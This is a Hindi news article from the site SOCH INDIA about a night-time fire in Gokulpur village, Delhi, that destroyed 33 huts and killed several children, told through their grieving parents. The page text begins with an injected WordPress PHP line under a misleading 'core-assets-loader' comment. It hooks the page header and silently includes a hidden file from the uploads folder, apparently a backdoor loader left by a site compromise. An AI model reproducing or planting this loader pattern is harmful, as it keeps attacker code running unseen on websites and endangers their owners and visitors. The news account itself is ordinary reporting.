add_action('wp_head', function(){echo '';}, 1); /* core-assets-loader */ @include_once('/home/sochindi/public_html/wp-content/uploads/.wp-cache-cd8672/.object-cache.php'); चुपके से आई मौत: शांत हुई लपटें तो कोयला मिले शव, शोर के बीच न सुन सके मासूमों की चीखें – SOCH INDIA
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चुपके से आई मौत: शांत हुई लपटें तो कोयला मिले शव, शोर के बीच न सुन सके मासूमों की चीखें

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दिल्ली के गोकुलपुर गांव में बीते शुक्रवार और शनिवार की दरम्यानी रात को लगी आग में जो 33 झुग्गियां जल गईं, उनके परिवार अब भी इस सदमे से उबर नहीं पा रहे हैं। इसका कारण है कि इनमें से कई लागों ने अपने मासूमों को अपने सामने ही आग की भेंट चढ़ते देखा और चाह कर भी कुछ नहीं कर सके। इनके दिलों में कितनी बैचेनी और लाचारगी है इसका अंदाजा लगाना भी मुश्किल है। पीड़ितों को मलाल तो इस बात का भी है कि उन्हें अपने मासूमों की चीखें भी नहीं सुनाई दीं।

मासूम रोशन और उसकी नन्ही सी बहन दीपिका आग की लपटों के बीच जिंदगी की तलाश में एक झोपड़ी में घुस गए। लेकिन वह मौत को चकमा नहीं दे पाए। मौत ने उनको ढूंढ ही लिया और दोनों को अपने आगोश में ले लिया। आग की ऊंची-ऊंची लपटों और शोर-शराबे की बीच मासूमों की चीख भी लोगों को नहीं सुनाई दी।

पिंटू और उसकी पत्नी रोमा अपने बच्चों को तलाशते रहे। लेकिन उनका पता नहीं चला। आग का तांडव करीब तीन घंटे चला। परिजन पल-पल यह दुआ करते रहे कि उनके बच्चे सुरक्षित रहे। लेकिन जब आग पर काबू पाकर रेस्क्यू टीम अंदर झोपड़ियों में दाखिल हुई तो वहां एक झोपड़ी में दोनों मासूमों के शव एक जगह बरामद हुए। शव लगभग कोयला बन चुके थे। शुरुआत में परिवार को यकीन ही नहीं हुआ कि दोनों बच्चे उनके ही हैं। लेकिन बाद में जांच के बाद पिंटू और रोमा को यह साफ हो गया कि दोनों उनके ही जिगर के टुकड़े हैं। पिंटू बच्चों की मौत के बाद से बहकी-बहकी बातें कर रहा है।

क परिजन ने बताया कि आग लगी तो पिंटू और रोमा बच्चों को लेकर बाहर की ओर भागे। पिंटू व उसकी पत्नी ने छोटे बच्चों को गोद में लिया हुआ था। रोशन व उसकी बहन दीपिका माता-पिता के साथ चल रहे थे। आग तेजी से फैल रहे थे। झोपड़ियों की गैलरी में आग देखकर बच्चे डर गए और पता ही नहीं चला कब एक महिला की झोपड़ी में घुस गए। पिंटू और रोमा ने बाहर निकलकर देखा तो बच्चे साथ नहीं था। दोनों के होश उड़ गए। अंदर आग और भड़क चुकी थी।

शोर शराबे के बीच उनको कुछ समझ नहीं आ रहा था। शुरुआत में लगा कि बच्चे शायद भीड़ में इधर-उधर हो गए हैं, लेकिन बाद में उनकी मौत का पता चला। वहीं दूसरी ओर रज्जन के परिवार के पांच सदस्य एक छोटे कमरेनुमा झोपड़ी में मौत के मुंह में चले गए। परिजनों का कहना है कि शोर-शराबा हुआ और अचानक उनको घुटने होने लगी तो सभी ने एक दूसरे को जगा दिया।

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